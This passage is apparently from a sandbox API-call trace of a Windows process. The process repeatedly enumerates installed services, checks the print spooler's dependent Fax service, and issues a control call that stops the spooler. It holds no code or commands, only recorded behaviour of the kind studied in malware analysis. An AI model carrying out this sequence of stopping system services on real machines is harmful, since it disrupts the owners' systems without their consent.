returned 0x321d6b8 [0136.810] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.810] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.811] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0136.813] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6b8 [0136.814] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0136.815] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0136.815] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.489] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x321d780 [0140.489] OpenServiceW (hSCManager=0x321d780, lpServiceName="Spooler", dwDesiredAccess=0x8) returned 0x321d4d8 [0140.489] EnumDependentServicesW (in: hService=0x321d4d8, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e0fc, lpServicesReturned=0x893e0f8 | out: lpServices=0x0, pcbBytesNeeded=0x893e0fc, lpServicesReturned=0x893e0f8) returned 0 [0140.490] LocalAlloc (uFlags=0x0, uBytes=0x34) returned 0x79fb918 [0140.490] EnumDependentServicesW (in: hService=0x321d4d8, dwServiceState=0x3, lpServices=0x79fb918, cbBufSize=0x34, pcbBytesNeeded=0x893e0fc, lpServicesReturned=0x893e0f8 | out: lpServices=0x79fb918*(lpServiceName="Fax", lpDisplayName="Fax", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e0fc, lpServicesReturned=0x893e0f8) returned 1 [0140.490] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x321d4d8 [0140.491] OpenServiceW (hSCManager=0x321d4d8, lpServiceName="Fax", dwDesiredAccess=0x4) returned 0x321d6e0 [0140.491] QueryServiceStatus (in: hService=0x321d6e0, lpServiceStatus=0x893e080 | out: lpServiceStatus=0x893e080*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0140.491] CloseServiceHandle (hSCObject=0x321d6e0) returned 1 [0140.491] ControlService (in: hService=0x321d6b8, dwControl=0x1, lpServiceStatus=0x893e0e4 | out: lpServiceStatus=0x893e0e4*(dwServiceType=0x110, dwCurrentState=0x3, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x3, dwWaitHint=0x4e20)) returned 1 [0140.540] CloseServiceHandle (hSCObject=0x321d6b8) returned 1 [0140.540] OpenServiceW (hSCManager=0x321d780, lpServiceName="Spooler", dwDesiredAccess=0x4) returned 0x321d6b8 [0140.541] QueryServiceStatus (in: hService=0x321d6b8, lpServiceStatus=0x893e074 | out: lpServiceStatus=0x893e074*(dwServiceType=0x110, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0140.542] CloseServiceHandle (hSCObject=0x321d6b8) returned 1 [0140.542] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x893e4f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x893e4f8*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x91, [1]=0x93, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0140.543] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x893e1fc, nSize=0xc3 | out: lpBuffer="") returned 0x0 [0140.543] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x893e568*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x893e568*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x93, [1]=0x93, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0140.543] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x893e4d4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x893e4d4*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x91, [1]=0x93, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0140.543] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x893e558*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x93, [1]=0x93, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x893e558*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x93, [1]=0x93, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0140.543] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6b8 [0140.544] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.544] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.544] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.549] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6e0 [0140.602] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.602] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.602] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.604] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d7a8 [0140.604] EnumServicesStatusW (in: hSCManager=0x321d7a8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.604] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.604] EnumServicesStatusW (in: hSCManager=0x321d7a8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.606] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6e0 [0140.606] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.606] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.606] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.608] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6e0 [0140.608] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.608] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.608] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.610] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6e0 [0140.610] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.610] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.610] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.612] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6e0 [0140.612] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.613] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.613] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.616] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d820 [0140.661] EnumServicesStatusW (in: hSCManager=0x321d820, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.662] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.662] EnumServicesStatusW (in: hSCManager=0x321d820, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.663] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6e0 [0140.664] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.664] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.664] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.666] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6b8 [0140.666] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.666] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.666] EnumServicesStatusW (in: hSCManager=0x321d6b8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.668] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d7f8 [0140.668] EnumServicesStatusW (in: hSCManager=0x321d7f8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.668] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.668] EnumServicesStatusW (in: hSCManager=0x321d7f8, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.670] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6e0 [0140.670] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.670] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.670] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.672] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6e0 [0140.672] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.672] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.672] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.674] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6e0 [0140.674] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.675] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.675] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.679] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6e0 [0140.680] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.680] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.680] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x7a1cfc8*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 1 [0140.683] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x321d6e0 [0140.683] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc | out: lpServices=0x0, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, lpResumeHandle=0x893e3cc) returned 0 [0140.684] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x7a1cfc8 [0140.684] EnumServicesStatusW (in: hSCManager=0x321d6e0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x7a1cfc8, cbBufSize=0x660a, pcbBytesNeeded=0x893e3d4, lpServicesReturned=0x893e3d0, 